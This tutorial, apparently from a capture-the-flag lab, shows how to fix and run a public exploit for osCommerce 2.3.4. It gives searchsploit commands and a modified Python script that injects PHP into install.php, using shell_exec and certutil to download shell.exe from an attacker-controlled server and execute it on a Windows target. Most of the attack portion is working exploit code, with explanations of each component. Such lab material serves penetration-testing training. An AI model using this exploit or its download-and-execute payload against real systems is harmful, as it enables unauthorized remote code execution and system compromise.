Fixing Public Exploits

We looked at techniques and tools through which we can download public exploits. But the main problem with public exploits is that they tend to break and don't give result instantly like the metasploit ones.

To make them work, sometimes we have to fix them as per their required arguments, execution environment setup and sometimes a little change in code too.

Now, the next step we have to perform is to find any exploit for it.

Lets try searchsploit.

```
searchsploit oscommerce 2.3.4
```

We already have the exploit in our searchsploit, so lets clone it from there.

```
searchsploit -m php/webapps/44374.py
```

- Now lets make some changes to it.

```
import requests

# enter the the target url here, as well as the url to the install.php (Do
NOT remove the ?step=4)
base_url = "http://10.10.209.244:8080/oscommerce-2.3.4/catalog/"
target_url = "http://10.10.209.244:8080/oscommerce-
2.3.4/catalog/install/install.php?step=4"

data = {
    'DIR_FS_DOCUMENT_ROOT': './'
}

# the payload will be injected into the configuration file via this code
# '  define(\'DB_DATABASE\', \'' . trim($HTTP_POST_VARS['DB_DATABASE']) .
'\');' . "\n" .
# so the format for the exploit will be: '); PAYLOAD; /*

payload = '\');'
payload += '$var = shell_exec("cmd.exe /C certutil -urlcache -split -f
http://10.18.1.78:8000/shell.exe shell.exe & shell.exe");'  # this is
where you enter you PHP payload
payload += 'echo $var;'
```

```
payload += '/*'

data['DB_DATABASE'] = payload

# exploit it
r = requests.post(url=target_url, data=data)

if r.status_code == 200:
    print("[+] Successfully launched the exploit. Open the following URL
to execute your code\n\n" + base_url + "install/includes/configure.php")
else:
    print("[-] Exploit did not execute as planned")
```

First of all, i have initialized a variable named var. So whatever value of the payload we will have, that will be specify here will get stored in this var variable. Then as per the developer, we have to use a PHP payload, so i have used the PHP cmdlet shell_exec.

Now shell_exec is a cmdlet in PHP that is used to execute commands like you do in a shell or terminal. After that we have specified cmd.exe to spawn a command prompt shell like we have in windows as this is a windows machine.

After that, we have written certutil. So certutil is a command line tool in windows that is used to download files from any server. Next we have some options related to certutil only like urlcache split and -f.

After these, we have our server IP address where the payload shell.exe is stored and which is being downloaded by the certutil. Then we have written shell.exe again, so this is the output name by which the payload will be saved on the target machine and at last we are executing our payload.
